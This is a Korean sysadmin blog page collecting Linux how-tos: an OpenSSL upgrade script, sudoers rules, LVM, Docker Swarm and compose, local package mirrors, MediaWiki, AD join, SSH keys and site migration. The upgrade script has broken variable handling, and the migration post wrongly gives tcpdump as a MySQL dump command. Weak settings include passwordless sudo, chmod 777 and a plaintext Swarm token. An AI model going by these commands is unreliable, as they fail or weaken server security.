'Linux Server'에 해당되는 글 82건

  1. 2021.07.07 [Script] openssl 버전 업그레이드 스크립트 작성
  2. 2021.04.08 [os] 리눅스 sudoers 설정
  3. 2020.12.02 [os] 리눅스 LVM 작업 (디스크용량 2TB 이상 작업 parted) 1
  4. 2020.12.01 [os] 리눅스 LVM 작업 (디스크용량 2TB 미만 작업 fdisk)
  5. 2020.11.30 [Docker] Docker Swarm 구축
  6. 2019.02.24 [Docker] docker-compose 를 이용한 서버 리소스 모니터링 툴 구축 1
  7. 2019.02.24 [Docker] 도커 명령어
  8. 2019.02.24 [기타] 네트워크 드라이브 연결 확인방법
  9. 2018.08.26 [기타] Python Repository 구축
  10. 2018.08.26 [기타] Docker Registry 구축
  11. 2018.08.26 [기타] 우분투 repository 구축
  12. 2018.08.26 [기타] mediawiki 설치 방법
  13. 2018.08.26 [기타] 우분투 AD 가입
  14. 2018.04.15 [기타] ssh 패스워드 없이 로그인 하기
  15. 2018.03.02 [기타] 리눅스서버 사이트 이전 1
  16. 2018.03.02 [ 기타 ] 해킹점검
  17. 2018.02.26 [Script] java_tomcat 설치 및 apm 연동
  18. 2018.02.26 [Script] mysql 덤프
  19. 2018.02.26 [Script] 홈소스 백업
  20. 2018.02.26 [기타] Iptables 설치 및 설정 1
  21. 2018.02.26 [apache] http_error_code
  22. 2018.02.09 [apache] ip 접속 제어
  23. 2017.11.24 [Trouble Shooting] 우분투 apt-get update 및 설치 안될경우 2
  24. 2017.10.17 [개발공부] 스크립트 작성
  25. 2017.09.09 [Trouble Shooting] wordpress 설치도중 500에러 2
  26. 2017.08.08 [기타] rsync 설치 및 사용법
  27. 2017.08.03 [apache] letsencrypt 설치 및 설정 2
  28. 2017.08.03 [ 기타 ] vsftpd 설치
  29. 2017.07.20 [Trouble Shooting] putty 접속시 한글깨짐현상
  30. 2017.06.03 [apache] ssl 키 발급 및 적용

- 리눅스 서버 보안업데이트로 서버 약 천대의 openssl 버전 업그레이드 작업

- 작업시간을 조금이라도 줄이고자 스크립트 작성

 

 

#!/bin/bash

#when excute on ubuntu

 

apt-get install -y gcc

apt-get install -y make make-guile

 

cd /usr/local/src

openssl version > report.out

op_version='openssl version |awk '{print $2}' | cut -c 1-5'

 

case "$op_version" in

 

1.0.2)

wget 10.230.9.30/openssl/openssl-"$op_verison"s.tar.gz

tar zxvf openssl-1.0.2s.tar.gz

cd /usr/local/src/openssl-1.0.2s

./config --prefix=/usr --openssldir=/usr/local/openssl

make && make install

;;

 

1.0.1)

wget 10.230.9.30/openssl/openssl-"$op_verison"s.tar.gz

tar zxvf openssl-1.0.2s.tar.gz

cd /usr/local/src/openssl-1.0.2s

./config --prefix=/usr --openssldir=/usr/local/openssl

make && make install

;;

 

1.1.0)

wget 10.230.9.30/openssl/openssl-"$op_verison"k.tar.gz

tar zxvf openssl-1.1.0k.tar.gz

cd /usr/local/src/openssl-1.1.0k

./config --prefix=/usr --openssldir=/usr/local/openssl

make && make install

;;

 

1.1.1)

wget 10.230.9.30/openssl/openssl-"$op_verison"c.tar.gz

tar zxvf openssl-1.1.1c.tar.gz

cd /usr/local/src/openssl-1.1.1c

./config --prefix=/usr --openssldir=/usr/local/openssl

make && make install

;;

 

*)

wget 10.230.9.30/openssl/openssl-1.1.1c.tar.gz

tar zxvf openssl-1.1.1c.tar.gz

cd /usr/local/src/openssl-1.1.1c

./config --prefix=/usr --openssldir=/usr/local/openssl

make && make install

exit

;;

esac

 

cd ../

openssl version >> report.out

cat report.out

 

 

'Linux Server > Script' 카테고리의 다른 글

[Script] java_tomcat 설치 및 apm 연동  (0) 2018.02.26
[Script] mysql 덤프  (0) 2018.02.26
[Script] 홈소스 백업  (0) 2018.02.26
[개발공부] 스크립트 작성  (0) 2017.10.17
[개발공부] php 개발  (0) 2016.12.14
Posted by 실력키우기

리눅스에서 필요에 따라 관리자 권한 설정이 필요하다.

계정별 또는 그룹별로 sudo 권한 설정이 가능하며, 해당 권한을 /etc/sudoers 파일에서 설정한다.

 

※ 테스트 환경 :  ubuntu 16.04 , centos6 (설정방법 동일)

 

/etc/sudoers 설정파일

 

1) 기본설정

root       ALL=(ALL)     ALL

 

2) les 계정에 sudo 권한설정

형식 : user명    ALL=(ALL)     ALL
내용 : les        ALL=(ALL)     ALL

 

3) les계정이 sudo 명령어 사용시 패스워드 묻지 않음.

형식 : user명   ALL=(ALL)     NOPASSWD: /sbin/shutdown
내용 : les       ALL=(ALL)     NOPASSWD: /sbin/shutdown

 

4) seok 계정이 sudo shutdown 명령어 사용시 패스워드 묻지 않음.

형식 : user명    ALL=(ALL)     NOPASSWD: ALL
내용 : seok      ALL=(ALL)     NOPASSWD: ALL

 

5) wheel 그룹에 속한 계정들은 sudo 사용가능

형식 : %그룹명  ALL=(ALL)      ALL
내용 : %wheel  ALL=(ALL)      ALL

 

6) wheel 그룹에 속한 계정들이 sudo 명령어 사용시 패스워드 묻지 않음.

형식 : %그룹명  ALL=(ALL)      NOPASSWD: ALL
내용 : %wheel  ALL=(ALL)      NOPASSWD: ALL

 

위처럼 내용 수정 후에 :wq! 로 저장해야 저장이 된다.

 

 

Posted by 실력키우기

리눅스에서 LVM 이란?

Logical Volume Manager 의 약자로 한글로 말하면 논리 볼륨 관리자 라고 할수 있는데, 물리적인 하나의 하드디스크를 논리적으로 쪼개서 사용할수도 있고, 여러개의 하드디스크를 논리적으로 합쳐서 하나로 보여지게도 가능하다.

 

한개의 물리적 디스크의 용량이 작던 시절에는 여러개의 디스크를 합쳐서 하나의 볼륨으로 사용하는 경우가 많았으나, 요새는 물리적 디스크의 용량이 크게 나오기때문에 기존에 사용중인 디스크의 용량을 확장시킨다거나 관리용으로 많이 사용되어 지는것 같다.

 

◆ 작업 Flow

[LVM처음 생성시]

1. 파티션 생성 -> 2. 피지컬볼륨 생성 -> 3. 볼륨그룹 생성 -> 4. 로지컬볼륨 생성 -> 5. 파일시스템 생성 -> 6. 마운트

 

 

1) 파티션 생성

명령어 : parted /dev/sdb
(parted) mklabel gpt
(parted) mkpart primary 0 100%
Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? Ignore
(parted) set 1 lvm on
(parted) print
(parted) q

 

2) 피지컬볼륨 생성

형식 : pvcreate [피지컬볼륨경로]
명령어 : pvcreate /dev/sdb1

 

 

3) 볼륨그룹 생성

형식 : vgcreate [볼륨그룹이름] [피지컬볼륨선택]
명령어 : vgcreate test_vg /dev/sdb1

- 설명 : test_vg라는 볼륨그룹을 생성하며, 피지컬볼륨sdb1를 등록

 

 

4) 로지컬볼륨 생성

형식 : lvcreate -n [로지컬볼륨이름] -ㅣ [용량할당] [볼륨그룹이름]
명령어 : lvcreate -n test_lv -l 100%FREE test_vg

- 설명 : test_lv라는 볼륨을 생성하고, test_vg의 용량100%를 test_lv에 할당

 

 

5) 파일시스템 생성

형식 : [생성할 파일시스템] [로지컬볼륨경로]
명령어 : mkfs.xfs /dev/test_vg/test_lv

- 설명 : xfs파일시스템 생성

 

 

6) 마운트

형식 : [생성한 lv절대경로] [마운트할 디렉터리]
명령어 : mount /dev/test_vg/test_lv /test_lv

 

 

◆ 작업 Flow

[사용하던 LVM에 디스크 추가 및 LV용량 확장시]

1. 파티션 생성 -> 2. 피지컬볼륨 생성 -> 3. 기존 볼륨그룹에 추가 -> 4. 기존 로지컬볼륨에 용량 추가 -> 5. 적용

 

1) 파티션 생성

명령어 : parted /dev/sdc
(parted) mklabel gpt
(parted) mkpart primary 0 100%

Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? Ignore
(parted) set 1 lvm on
(parted) print
(parted) q

 

 

2) 피지컬볼륨 생성

형식 : pvcreate [피지컬볼륨경로]
명령어 : pvcreate /dev/sdc1

 

 

3) 기존 볼륨그룹에 추가

형식 : vgextend [볼륨그룹이름] [피지컬볼륨경로]
명령어 : vgextend test_vg /dev/sdc1

- 설명 : test_vg 볼륨그룹에 피지컬볼륨sdc1를 추가

 

 

4) 기존 로지컬볼륨에 용량 추가

형식 : lvextend [로지컬볼륨경로] -l [용량할당]
명령어 : lvextend /dev/test_vg/test_lv -l +100%FREE

- 설명 : test_vg의 남아있는 용량100%를 test_lv에 던져준다.

 

 

5) 확장된 용량 적용 (리사이징)

형식 : xfs_growfs [로지컬볼륨경로]
명령어 : xfs_growfs /dev/test_vg/test_lv

 

 

※  xfs_growfs 가 안될 경우 해결방법 (ex.문제볼륨 /dev/test_vg/test_lv)

작업 Flow

1. umount -> 2. 파일시스템 체크 -> 3. 마운트 -> 4. 리사이징

 

1) umount

명령어 : umount /test_lv

 

2) 파일시스템 체크

# fsck /dev/test_vg/test_lv

 

3) 마운트

# mount /dev/test_vg/test_lv /test_lv

 

4) 리사이징

# xfs_growfs /dev/test_vg/test_lv

 

※ 작업시 파일시스템 ext4와 xfs의 차이점은 리사이징 명령어가 다름.

Posted by 실력키우기

리눅스에서 LVM 이란?

Logical Volume Manager 의 약자로 한글로 말하면 논리 볼륨 관리자 라고 할수 있는데, 물리적인 하나의 하드디스크를 논리적으로 쪼개서 사용할수도 있고, 여러개의 하드디스크를 논리적으로 합쳐서 하나로 보여지게도 가능하다.

 

한개의 물리적 디스크의 용량이 작던 시절에는 여러개의 디스크를 합쳐서 하나의 볼륨으로 사용하는 경우가 많았으나, 요새는 물리적 디스크의 용량이 크게 나오기때문에 기존에 사용중인 디스크의 용량을 확장시킨다거나 관리용으로 많이 사용되어 지는것 같다.

 

◆ 작업 Flow

[LVM처음 생성시]

1. 파티션 생성 -> 2. 피지컬볼륨 생성 -> 3. 볼륨그룹 생성 -> 4. 로지컬볼륨 생성 -> 5. 파일시스템 생성 -> 6. 마운트

 

1) 파티션 생성

명령어 : fdisk /dev/sdb
n(새 파티션 생성) -> p(primary) -> 1(default) -> Enter -> Enter -> t(파티션 종류 지정) -> 8e(LVM) -> w(저장)

 

 

2) 피지컬볼륨 생성

형식 : pvcreate [피지컬볼륨경로]
명령어 : pvcreate /dev/sdb1

 

 

3) 볼륨그룹 생성

형식 : vgcreate [볼륨그룹이름] [피지컬볼륨선택]
명령어 : vgcreate test_vg /dev/sdb1

- 설명 : test_vg라는 볼륨그룹을 생성하며, 피지컬볼륨sdb1를 등록

 

 

4) 로지컬볼륨 생성

형식 : lvcreate -n [로지컬볼륨이름] -ㅣ [용량할당] [볼륨그룹이름]
명령어 : lvcreate -n test_lv -l 100%FREE test_vg

- 설명 : test_lv라는 볼륨을 생성하고, test_vg의 용량100%를 test_lv에 할당

 

 

5) 파일시스템 생성

형식 : [생성할 파일시스템] [로지컬볼륨경로]
명령어 : mkfs.ext4 /dev/test_vg/test_lv

- 설명 : ext4파일시스템 생성

 

 

6) 마운트

형식 : [생성한 lv절대경로] [마운트할 디렉터리]
명령어 : mount /dev/test_vg/test_lv /test_lv

 

 

◆ 작업 Flow

[사용하던 LVM에 디스크 추가 및 LV용량 확장시]

1. 파티션 생성 -> 2. 피지컬볼륨 생성 -> 3. 기존 볼륨그룹에 추가 -> 4. 기존 로지컬볼륨에 용량 추가 -> 5. 적용

 

1) 파티션 생성

명령어 : fdisk /dev/sdc
n(새 파티션 생성) -> p(primary) -> 1(default) -> Enter -> Enter -> t(파티션 종류 지정) -> 8e(LVM) -> w(저장)

 

 

2) 피지컬볼륨 생성

형식 : pvcreate [피지컬볼륨경로]
명령어 : pvcreate /dev/sdc1

 

 

3) 기존 볼륨그룹에 추가

형식 : vgextend [볼륨그룹이름] [피지컬볼륨경로]
명령어 : vgextend test_vg /dev/sdc1

- 설명 : test_vg 볼륨그룹에 피지컬볼륨sdc1를 추가

 

 

4) 기존 로지컬볼륨에 용량 추가

형식 : lvextend [로지컬볼륨경로] -l [용량할당]
명령어 : lvextend /dev/test_vg/test_lv -l +100%FREE

- 설명 : test_vg의 남아있는 용량100%를 test_lv에 던져준다.

 

 

5) 확장된 용량 적용 (리사이징)

형식 : resize2fs [로지컬볼륨경로]
명령어 : resize2fs /dev/test_vg/test_lv

 

 

※  resize2fs가 안될 경우 해결방법 (ex.문제볼륨 /dev/test_vg/test_lv)

작업 Flow

1. umount -> 2. 파일시스템 체크 -> 3. 마운트 -> 4. 리사이징

 

1) umount

명령어 : umount /test_lv

 

2) 파일시스템 체크

명령어 : fsck /dev/test_vg/test_lv

 

3) 마운트

명령어 : mount /dev/test_vg/test_lv /test_lv

 

4) 리사이징

명령어 : resize2fs /dev/test_vg/test_lv

 

Posted by 실력키우기
  • Docker Swarm 구성환경 :
- Manager Node 호스트 3개
- Worker Node 2개

 

  • Docker Swarm 구성요소

- Swarm 클러스터는 Manager Node 와 Worker Node 두 종류가 존재.

 

Manager Node

- Swarm과 사용자 간의 Interface로써 Swarm 방식으로 처리되는 모든 기능에 대해 사용자의 명령을 받는 통로 역활 수행

- 자신을 비롯한 모든 Node의 등록과 탈퇴를 처리하고 상태정보 관리를 통하여 가용자원의 상태를 관리

- Task Scheduler로써 사용자가 지시한 일을 여러 Worker가 적절히 수행할 수 있도록 Service의 생명주기 관리를 주관

- 다수의 Manager 간 클러스터 정보를 동기화하고 전체 Swarm클러스터의 가용성을 관리

 

Worker Node

- Manager Node의 지시를 받아 container를 구동하는 노드.

 

  • Docker Swarm 구성방법 :
- docker swarm init --advertise-addr [ip]
(docker swarm 을 구성하기 위한 초기화 명령어 / worker 노드를 추가하는 token 값이 생성된다.) 
- docker swarm join-token worker
(해당 명령어 입력시 Worker 노드를 추가하는 token 값이 생성되며, Worker 노드에 가입을 원하는 호스트에서 결과값 실행시 가입완료) 
- docker swarm join-token manager
(해당 명령어 입력시 아래 결과값처럼 Manager 노드를 추가하는 token 값이 생성되며, Manager 노드에 가입을 원하는 호스트에서 결과값 실행시 가입완료.) 
To add a manager to this swarm, run the following command: docker swarm join --token SWMTKN-1-0ysvt743g5e8gi5n3zmetdgqa449tdp2zgbxbaimmlkhghq9za-6w26kqxyn70ujmphtuw6o5tqr 10.230.102.13:2377

 

 

  • 유지보수 관리 모드
- docker node update --availability drain [node name]
(유지보수 모드로 변경(drain)하게 되면 앞으로 모든 컨테이너는 해당 서버에 할당이 되지 않으며, 현재 구동중인 모든 컨테이너들이 다른 쪽으로 넘어가게됨)

 

  • 유지보수 관리 모드 취소
- docker node update --availability active [node name]
(유지보수 모드를 취소하는 명령어로, 앞으로 해당호스트에도 컨테이너 할당이 가능하게되며, 취소했다고 해도 기존에 해당호스트에서 실행되던 컨테이너들은 다시 넘어오지 않는다.)

 

  • Manager Node로 승격
- docker node promote [WorkerNode Name]
(Worker Node를 Manager Node로 승격)

 

  • Worker Node로 강등
- docker node demote [ManagerNode Name]
(Manager Node를 Worker Node로 강등)

 

  • node 제거
- docker swarm rm [node name]
(Manager 노드에서 해당명령어로 노드를 제거시킬수 있음)

 

  • Cluster 탈퇴방법

- docker swarm leave
(Worker Node가 cluster를 떠날때 사용한다.)

- docker swarm leave --force
(Manager node가 cluster를 떠날때 사용한다.)

 

  • 장애시험
- 매니저 노드 2개를 구성하여 일반 Manager노드 1개가 장애가 날경우 (정상작동) 
- 매니저 노드 2개를 구성하여 리더 Manager노드 1개가 장애가 날경우 (장애)
(The swarm does not have a leader. It’s possible that too few managers are online. Make sure more than half of the managers are online. 의 에러가 발생하며 모든 서버가 마비가 된다.)
- 매니저 노드 3개를 구성하여 일반 Manager노드 1개가 장애가 날경우 (정상작동)
- 매니저 노드 3개를 구성하여 리더 Manager노드 1개가 장애가 날경우 (정상작동) 

 위처럼 장애시험을 통해 얻은 결과는 총 Manager노드 개수의 반 이상이 정상인 상태여야 정상작동을 한다는 것이다. 위 같은 이유로 보통 Manager Node 의 개수는 3, 5, 7 처럼 홀수개의 갯수로 구성해야 가용성이 보장된다.

Posted by 실력키우기

[docker-compose 이용하여 서버 리소스 모니터링 툴 구축]


- 도커를 이용하여 grafana 와 influxdb를 올려 서버 리소스 모니터링 구축하기


- 설치환경  grafana 및 influxdb 를 docker pull로 다운받은 후 작업진행



[ docker-compose ]


  - 도커 컴포즈란 컨테이너 여럿을 띄우는 도커 애플리케이션을 정의하고 실행하는 도구

  - 컨테이너 실행에 필요한 옵션을 docker-compose.yml 이라는 파일에 적어둘 수 있고, 컨테이너 간 의종성도 관리할수 있는 장점이 있음



1) docker-compose 패키지 설치 확인


   dpkg -l docker-*


2) 미설치 시 설치 진행


   dpkg -i docker-compose


3) docker-compose.yml 파일 생성 후 내용 작성


 - 프로젝트 루트에 파일을 생성을 해야 함


# Define a Grafana service

   grafana:

    image: grafana/grafana

    volumes:

      - ./it/grafana:/var/lib/grafana

    environment:

      GF_SECURITY_ADMIN_PASSWD: secret

      INFLUXDB_URL: http://influxdb:8086

      KAPACITOR_URL: http://kapacitor:9092

    ports:

      - "3000:3000"

    links:

      - influxdb

      - kapacitor

  # Define an InfluxDB service

   influxdb:

    image: influxdb:1.5.4

    volumes:

      - ./it/influxdb:/var/lib/influxdb

    ports:

      - "8086:8086"

  # Define a Chronograf service

   chronograf:

    image: chronograf:1.5.0

    environment:

      INFLUXDB_URL: http://influxdb:8086

      KAPACITOR_URL: http://kapacitor:9092

    ports:

      - "8888:8888"

    links:

      - influxdb

      - kapacitor

  # Define a Kapacitor service

   kapacitor:

    image: kapacitor:1.4.1

    environment:

      KAPACITOR_HOSTNAME: kapacitor

      KAPACITOR_INFLUXDB_0_URLS_0: http://influxdb:8086

    links:

      - influxdb

    ports:

      - "9092:9092"

  # Define a service for using the telegraf CLI tool.

  # docker-compose run telegraf-cli

'Linux Server > Docker' 카테고리의 다른 글

[Docker] Docker Swarm 구축  (0) 2020.11.30
[Docker] 도커 명령어  (0) 2019.02.24
Posted by 실력키우기

[도커 자주사용하는 명령어]


docker ps    현재 구동되고 있는 컨테이너 정보확인


docker ps -a  모든 컨테이너 정보확인


docker images  해당 서버에 저장되어 있는 이미지 목록


docker pull [image]   원하는 이미지를 docker hub에서 다운


docker exec -it [구동중인 container name] /bin/bash   현재 구동중인 컨테이너에 쉘로 접속


docker stop [container name]   컨테이너 중지


docker start [container name]   컨테이너 실행


docker rm [container name]   컨테이너 삭제 명령어


docker rmi [이미지 네임]   이미지 삭제 명령어


docker run --name [원하는 컨테이너네임] -d -p [local_port]:[container_port] -v [localmount point]:[dockermount point] [이미지명]    기본적인 컨테이너 실행 명령어


docker commit [이미지 id] [해당 이미지 네임:원하는Tag]       현재 구동중인 도커 이미지로 내리는 명령어


docker save -o [원하는 이름.tar] [해당이미지네임:Tag]       이미지를 파일로 내리는 명령어


docker load -i [파일로 내린 이미지명]     →  파일로 내린 이미지를 도커 이미지로 올리는 명령어

Posted by 실력키우기

[ 네트워크 드라이브 연결 확인방법 ]


[해당 윈도우 에 공유된 폴더 확인 방법


제어판 -> 관리도구 -> 컴퓨터 관리 -> 시스템도구 -> 공유 폴더 항목에서 상세한 공유 정보 확인 가능



[ 해당 윈도우 에 연결된 네트워크 드라이브 상세정보확인 방법 ]


시작 -> 실행 -> msinfo32 입력 -> 소프트웨어 환경 -> 네트워크 연결 항목에서 확인

Posted by 실력키우기

[ Python Repository 구축]

 

 

[pip 및 virtualenv 설치]

 

# apt-get install python3-pip

 

# pip3 install --upgrade pip   

> 설명 : Pip 설치 및 pip 업그레이드 작업 진행

 

# pip install virtualenv   

> 설명 : 독립된 파이썬 환경을 만들어 bandersnatch 패키지를 설치하기 위한 설치

# cd /usr/local/src     

> 설명 : Bandersnatch를 설치하고 싶은 경로로 이동

 

[bandersnatch 설치]

 

# virtualenv –python=python3.5 bandersnatch     

> 설명 : 파이썬 3.5버전을 이용하여 bandersnatch 패키지 설치

 

# /usr/local/src/bandersnatch/bin/pip install -r https://bitbucket.org/pypa/bandersnatch/raw/stable/requirements.txt

> 설명 : Bandersnatch를 사용하기 위한 필수 패키지들을 requirements.txt 파일을 참조하여 설치

 

# /usr/local/src/bandersnatch/bin/bandersnatch mirror

> 설명 : /etc/bandersnatch.conf 라는 설정 파일이 생성되며, 패키지를 다운받을 경로 수정 후 명령어 재실행

 

# ln –s /mirror/python/web /var/www/python      -> 아파치 홈 디렉토리에 파이썬 패키지 경로 링크 작업

 

[클라이언트 설정 - 윈도우]

 

클라이언트에서 접근하기 위해서는 사용자/pip/pip.conf 파일에 레지스트리를 명시해야 한다.

 

파일 위치 C:\사용자\MOBIS\pip\pip.ini

 

[global]

index-url = http://linuxkill.xyz/python/simple

[install]

trusted-host = 115.68.220.220 linuxkill.xyz

 

> 설명 : 기본적으로 해당 파일이 없기 때문에 디렉토리 및 파일생성 후 내용을 추가해야 합니다.

 

 * 파일생성 작업 없이 아래 명령어로 설치 가능

pip install 패키지명 -i http://linuxkill.xyz/python/simple --trusted-host linuxkill.xyz

 

 

[클라이언트 설정 - 리눅스]

 

# cd /root     

> 설명 : 해당 경로 이동

 

# mkdir .pip     

> 설명 : .pip 라는 디렉터리 생성

 

# touch pip.conf     

> 설명 : pip.conf 파일 생성 후 아래 내용 입력

 

[global]

index-url = http://linuxkill.xyz/python/simple

[install]

trusted-host = 115.68.220.220 linuxkill.xyz

 

이후에 pip명령어로 설치되는 패키지들은 115.68.220.220에 있는 패키지를 통해 설치가 된다.

 

-----------------------------------------------------------------------------------

 

bandersnatch 설치 명령어 3줄로 끝내는 방법!

 

apt-get install python3-venv

python3.8 -m venv bandersnatch

bandersnatch/bin/pip install bandersnatch

 

참 쉽죠!

'Linux Server > Server 구축' 카테고리의 다른 글

[기타] Docker Registry 구축  (0) 2018.08.26
[기타] 우분투 repository 구축  (0) 2018.08.26
[기타] mediawiki 설치 방법  (0) 2018.08.26
[ 기타 ] vsftpd 설치  (0) 2017.08.03
[기타] phpmyadmin yum으로 설치  (0) 2017.01.31
Posted by 실력키우기

[ Docker Registry 구축 ]


# docker pull registry:lates      -> registry 컨테이너 설치


# docker run -d -p 5000:5000 -v /mirror/nvidia:/var/lib/registry --name registry registry:latest      -> /mirror/nvidia 디렉토리를 마운트 하면서 데몬형식으로 실행


# docker pull hyper/docker-registry-web      -> Hyper/docker-registry-web 컨테이너 설치


# docker run -it -d -p 8000:8080 --name registry-web --link registry -e REGISTRY_URL=http://registry:5000/v2 -e REGISTRY_NAME=registry:5000 hyper/docker-registry-web      -> web-ui 컨네이터 실행 앞에서 --link registry 실행한 레지스트리 연동




클라이언트에서 접근하기 위해서는 /etc/docker/daemon.json 파일에 레지스트리를 명시해야 한다.

# cat /etc/docker/daemon.json

{
"insecure-registries": ["115.68.220.220:5000"]
}

- 파일이 없을경우 생성후에 docker daemon 재기동

# systemctl restart docker.service

'Linux Server > Server 구축' 카테고리의 다른 글

[기타] Python Repository 구축  (0) 2018.08.26
[기타] 우분투 repository 구축  (0) 2018.08.26
[기타] mediawiki 설치 방법  (0) 2018.08.26
[ 기타 ] vsftpd 설치  (0) 2017.08.03
[기타] phpmyadmin yum으로 설치  (0) 2017.01.31
Posted by 실력키우기

[ 우분투 repository 구축 ]


- 아파치 (웹서비스) 구축이 되어있는 가정하에 아래 작업진행

- 웹 도큐먼트루트 /var/www/


# apt update


# apt-get install apt-mirror


# mkdir /mirror


/etc/apt/mirror.list 수정

- set base_path 의 경로를 /mirror/apt-mirror 설정

- 다운받을 패키지 주소 등록


# apt-mirror

- 위에서 설정한 경로에 Ubuntu SW 패키지 다운로드 진행 ( 500GB)


# ln s /mirror/apt-mirror/mirror/archive.ubuntu.com/ubuntu /var/www/ubuntu


- 아파지 홈 디렉토리에 ubuntu 패키지 경로 링크작업

- 클라이언트에서 sources.list의 주소를 해당서버IP or 도메인으로 변경하여 사용

ex) deb http://115.68.220.220/ubuntu xenial main restricted universe multiverse


'Linux Server > Server 구축' 카테고리의 다른 글

[기타] Python Repository 구축  (0) 2018.08.26
[기타] Docker Registry 구축  (0) 2018.08.26
[기타] mediawiki 설치 방법  (0) 2018.08.26
[ 기타 ] vsftpd 설치  (0) 2017.08.03
[기타] phpmyadmin yum으로 설치  (0) 2017.01.31
Posted by 실력키우기

[ mediawiki 설치 방법 ]


# apt-get update


# apt-get install apache2       -> 아파치 설치


# apt-get install mysql-server       -> mysql 설치


# apt-get install php libapache2-mod-php php-xml php-gd php-mysql       -> php 및 필요 라이브러리 설치


# vi /etc/apache2/sites-available/000-default.conf       -> 해당 파일 열어 웹루트 설정

 

ServerName 10.230.9.49

        DocumentRoot /var/www/html/mediawiki

<Directory /var/www/html/mediawiki>

        Options Indexes FollowSymLinks

        AllowOverride All

        Require all granted

</Directory>

 

# vi /etc/php/7.0/apache2/php.ini       -> php 설정


upload_max_filesize = 30M   // 해당부분 30M로 수정 (기본값2M)

extension=mysql.so    // 추가

extension=gd.so       // 추가

 

# tar -zxvf mediawiki-1.25.2.tar.gz       -> 다운로드받은 미디어위키 압출 풀기


# mv mediawiki-1.25.2 /var/www/html/mediawiki       -> 디렉터리 경로 변경


# cd /var/www/html/


# /etc/init.d/apache2 restart       ->  아파치 재시작


# cd /usr/local/src/


# mv LocalSettings.php /var/www/html/mediawiki/


미디어 위키는 디폴드 값으로 파일을 올릴수 없도록 설정되어 있다.

설치한 미디어위키 디렉터리 안에 LocalSettings.php 파일내용에 아래내용 수정


$wgEnableUploads = true;

$wgFileExtensions = array('png','gif','jpg','jpeg','xls','pdf','ppt','docx');


'Linux Server > Server 구축' 카테고리의 다른 글

[기타] Docker Registry 구축  (0) 2018.08.26
[기타] 우분투 repository 구축  (0) 2018.08.26
[ 기타 ] vsftpd 설치  (0) 2017.08.03
[기타] phpmyadmin yum으로 설치  (0) 2017.01.31
[기타] tomcat 설치 및 연동  (0) 2016.11.27
Posted by 실력키우기

[ 우분투 AD 가입 ]


윈도우 AD 서버에 우분투 서버도 가입을 할수 있다.


가입 방법은 아래와 같다.


1. https://github.com/BeyondTrust/pbis-open/releases 에서 버전에 맞는 파일다운로드

2. AD가입을 원하는 우분투pc 및 서버에 업로드

3. chmod 777 pbis-open-8.6.1.455.linux.x86_64.deb.sh     -> 권한 변경

4. ./pbis-open-8.6.1.455.linux.x86_64.deb.sh      -> 해당 스크립트 실행

5. /opt/pbis/bin/config UserDomainPrefix MOBIS.hkmg.global        -> 해당 명령어를 입력하여 mobis.hkmg.global에 대한 기본 구성을 설정

6. /opt/pbis/bin/config AssumeDefaultDomain True       -> true로 설정하면 로그인시에 도메인 이름을 입력하지 않아도됨

7. /opt/pbis/bin/config LoginShellTemplate /bin/bash      -> 기본 설정 (bash 쉘)

8. cd /opt/pbis/bin/      -> 해당 디렉토리로 이동

9. domainjoin-cli join MOBIS.hkmg.global mobisadmin       -> AD서버 패스워드 입력하면 AD가입 완료





Posted by 실력키우기

[ ssh-keygen ]

 

ssh-keygen 란? 키값을 생성하고 공개키를 보내주면, 해당 서버에 ssh 로 접근을 할때 패스워드를 묻지않고 바로 접속이 되도록 해주는 기능

 


[마스터서버]

 

chmod 700 /root/.ssh

 

#cd /root/.ssh/

 

ssh-keygen -t rsa     -> 해당 명령어치고 엔터만 누르면 됨 

 

scp id_rsa.pub root@클라이언트IP:/root/.ssh/        ->    해당파일을 클라이언트에 보낼것

 

[ 클라이언트 ]

 

# cd /root/.ssh

 

# cat id_rsa.pub >> authorized_keys     ->    id_rsa.pub 파일의 내용을 authorized_keys 파일에 넣겠다는 의미 authorized_keys파일이 없을경우 생성할것

 

이제부터 ssh root@마스터서버IP 를 할경우 패스워드를 묻지않고 바로 접속이 됨.

 

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

 

마스터서버에서 클라이언트로 id_rsa.pub 파일을 보낼때 ssh-copy-id -i id_rsa.pub root@클라이언트IP 이런식으로 보낼경우

자동으로 authorized_keys 파일로 변경이 됨. 즉 클라이언트에서 따로 작업해줄 필요가 없음 

Posted by 실력키우기

[리눅스 서버 사이트이전]


한 서버의 사이트가 돌아가기 위해 구동되고 있는 APM,java,tomcat,설정파일 및 시스템환경을 그대로 다른서버로 옮기는 작업을 사이트 이전이라 한다.



[APM 설치 전 확인]


1 > 현재 사이트가 정상적으로 작동하고 있는 도메인 확인


2 > APM 버전 확인


3 > apache 및 php 모듈확인


4 > /usr/local/src/httpd-2.4.3/config.nice     -> apache 컨피그 파일 확인


5 > /usr/local/src/php-5.2.17/config.nice     -> php 컨피그 파일 확인


6 > /usr/local/src/mysql-5.1.34/config.log    -> mysql 컨피그 파일 확인


7 > tcpdump -uroot -p -A > dump.sql           -> mysql 덤프작업



[옮겨야 하는 파일]


> /etc/passwd     -> 해당 파일을 통채로 옮기면 정상작동안할 가능성있음 (백업 후 내용만 복사하여 옮길것)


> /etc/shadow    -> 해당 파일을 통채로 옮기면 정상작동안할 가능성있음 (백업 후 내용만 복사하여 옮길것)


> /etc/group       -> 해당 파일을 통채로 옮기면 정상작동안할 가능성있음 (백업 후 내용만 복사하여 옮길것)


> /etc/fstab         -> 마운트 부분 확인하기


> /etc/crontab     -> crontab 에 무엇이 돌아가고 있는지 확인하여 해당 파일들도 옮길것


> /etc/my.cnf       -> mysql 설정파일 복사


> /usr/local/apache/conf/httpd.conf        -> 아파치 같은 버전으로 설치 후 백업해놓은 뒤 디렉토리 자체를 덮어 씌어도 정상작동함


> /usr/local/apache/conf/php.ini        -> php설정파일 복사


> /etc/sysconfig/iptables                     -> iptables 파일 복사


> /home/*            -> 홈소스 복사



[ 설치 및 셋팅 후 마무리 작업 ]


> host파일에서 신서버 ip로 해당도메인 질의되게끔 변경하여 확인후 문제없이 잘 작동 할경우 아래 작업 진행


> db 및 홈소스 동기화 (보통 홈소스는 변경이 안되며, db만 다시 덤프떠서 맞춰주면됨)


> 네임서버에서 해당도메인 신서버로 IP 변경작업 (네임서버자체를 변경하는 작업이 아니면 보통 10분 안에 정상질의 됨)




'Linux Server > etc' 카테고리의 다른 글

[기타] 우분투 AD 가입  (0) 2018.08.26
[기타] ssh 패스워드 없이 로그인 하기  (0) 2018.04.15
